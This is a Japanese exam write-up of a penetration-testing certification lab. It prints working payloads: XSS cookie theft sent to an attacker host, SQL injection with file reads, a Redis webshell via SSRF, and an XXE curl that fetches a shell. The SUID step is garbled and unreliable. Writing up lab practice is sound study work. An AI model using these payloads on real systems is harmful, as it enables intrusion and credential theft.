pts の試験は、申し込みから試験まで半月もかからず、問題を解く基礎があれば簡単に合格できます。多くの問題は、もしトレーニングを受けていれば基本的にそのままの問題ですが、トレーニング機関でも知らない問題もあります。例えば、今回の試験の最後の大問では、最も内部のサービスが nacos であり、nacos には exp がありません。一般的な弱いパスワードを試みましたが、入れなかったのでそのままにしました。最も簡単な問題は 2 つの key(20 点)しかなく、前の key をすべて取得できれば問題なく 80 点は確保でき、70 点以上あれば合格です。
私が試験で遭遇した問題について説明します。
シナリオ 1#
xss+sqli + ファイル読み取り、比較的簡単です。
xss では攻撃マシンで python を使って web サービスを起動し、payload を挿入します。ここでは、ストレージ型 xss の脆弱性を利用して payload を書き込み、管理者の cookie を取得します。
<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>
管理者の cookie を取得します。
ブラウザの右クリックページ-検査
を選択し、アプリケーション
を選び、ストレージ-クッキー
を見つけて、管理者の cookie に置き換えます。
sqli payload
http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#
または sqlmap を実行します。
http://IP:3603/admin/edit.php?id=11 (GET)
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2
任意のファイル読み取り
http://IP:3603/admin/setting.php?page=/tmp/key3
シナリオ 2#
ssrf+redis getshell
ssrf:ディレクトリスキャン robots.txt、backup.zip をダウンロードし、解凍して txt ファイルを取得します。web ポートが与えられ、問題の検索ボックスにhttp://localhost:1234 を入力して最初の key を取得します。
redis getshell:
webshell を書きます。
dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save
秘密鍵を書きます。
2 つ目の key を取得し、3 つ目の key はタスクスケジュールにあります。
シナリオ 3#
xxe 脆弱性の一つです。
expect を使って webshell を書き込みます。expect はコマンドを実行でき、攻撃機で web サービスを起動し、curl でリクエストします。
コマンドを実行
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>
シェルを書き込む
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>
権限昇格
find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;